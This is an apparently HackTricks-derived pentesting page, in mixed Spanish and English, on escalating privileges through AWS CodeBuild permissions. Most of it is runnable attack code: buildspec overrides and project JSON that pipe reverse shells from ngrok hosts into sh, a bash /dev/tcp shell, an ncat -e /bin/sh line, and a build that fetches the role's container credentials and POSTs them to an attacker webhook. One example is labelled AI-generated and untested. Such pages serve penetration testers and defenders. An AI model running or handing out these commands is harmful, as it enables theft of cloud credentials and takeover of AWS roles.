AWS - Codebuild Privesc
{{#include ../../../../banners/hacktricks-training.md}}
codebuild
Más información en:
{{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}}
codebuild:StartBuild | codebuild:StartBuildBatch
Con solo uno de estos permisos es suficiente para desencadenar un build con un nuevo buildspec y robar el token del iam role asignado al proyecto:
{{#tabs }} {{#tab name="StartBuild" }}
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
{{#endtab }}
{{#tab name="StartBuildBatch" }}
cat > /tmp/buildspec.yml <<EOF
version: 0.2
batch:
fast-fail: false
build-list:
- identifier: build1
env:
variables:
BUILD_ID: build1
buildspec: |
version: 0.2
env:
shell: sh
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
ignore-failure: true
EOF
aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
{{#endtab }} {{#endtabs }}
Nota: La diferencia entre estos dos comandos es que:
StartBuildinicia un único trabajo de build usando unbuildspec.ymlespecífico.StartBuildBatchpermite iniciar un lote de builds, con configuraciones más complejas (como ejecutar múltiples builds en paralelo).
Impacto potencial: privesc directo a los roles de AWS Codebuild adjuntos.
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Un atacante con los permisos iam:PassRole, codebuild:CreateProject, y codebuild:StartBuild o codebuild:StartBuildBatch podría escalar privilegios a cualquier rol IAM de codebuild creando uno en ejecución.
{{#tabs }} {{#tab name="Example1" }}
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
{{#endtab }}
{{#tab name="Example2" }}
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml
# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project
{{#endtab }}
{{#tab name="Example3" }}
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}
# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json
# Start a build with the new project
aws codebuild start-build --project-name user-project-1
# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
{{#endtab }} {{#endtabs }}
Impacto potencial: Direct privesc a cualquier rol de AWS Codebuild.
Warning
En un Codebuild container el archivo
/codebuild/output/tmp/env.shcontiene todas las env vars necesarias para acceder a las metadata credentials.Este archivo contiene la env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIque contiene la URL path para acceder a las credenciales. Será algo como/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420Añádelo a la URL
http://169.254.170.2/y podrás dump the role credentials.Además, también contiene la env variable
ECS_CONTAINER_METADATA_URIque contiene la URL completa para obtener metadata info about the container.
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Al igual que en la sección anterior, si en vez de crear un build project puedes modificarlo, puedes indicar el IAM Role y robar el token
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Impacto potencial: Direct privesc to any AWS Codebuild role.
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Como en la sección anterior pero sin el permiso iam:PassRole, puedes abusar de estos permisos para modificar proyectos existentes de Codebuild y acceder al role que ya tienen asignado.
{{#tabs }} {{#tab name="StartBuild" }}
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
{{#endtab }}
{{#tab name="StartBuildBatch" }}
REV_PATH="/tmp/codebuild_pwn.json"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"project_name\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
printf "$JSON" > $REV_PATH
# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }} {{#endtabs }}
Impacto potencial: privesc directo a los roles adjuntos de AWS Codebuild.
SSM
Teniendo suficientes permisos para iniciar una sesión ssm es posible entrar dentro de un proyecto Codebuild que se está construyendo.
The codebuild project will need to have a breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
Y luego:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
Para más información check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
Un attacker capaz de iniciar/reiniciar un build de un proyecto específico de CodeBuild que almacena su archivo buildspec.yml en un bucket S3 al que el attacker tiene write access, puede obtener command execution en el proceso de CodeBuild.
Nota: la escalation solo es relevante si el CodeBuild worker tiene un role diferente, preferiblemente más privilegiado, que el del attacker.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
Puedes usar algo como este buildspec para obtener una reverse shell:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impacto: Direct privesc al rol usado por el worker de AWS CodeBuild que suele tener altos privilegios.
Warning
Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el
buildspec.ymldesde el directorio raíz, volver a comprimir y subirlo
Más detalles se pueden encontrar here.
Impacto potencial: Direct privesc a los roles adjuntos de AWS Codebuild.
{{#include ../../../../banners/hacktricks-training.md}}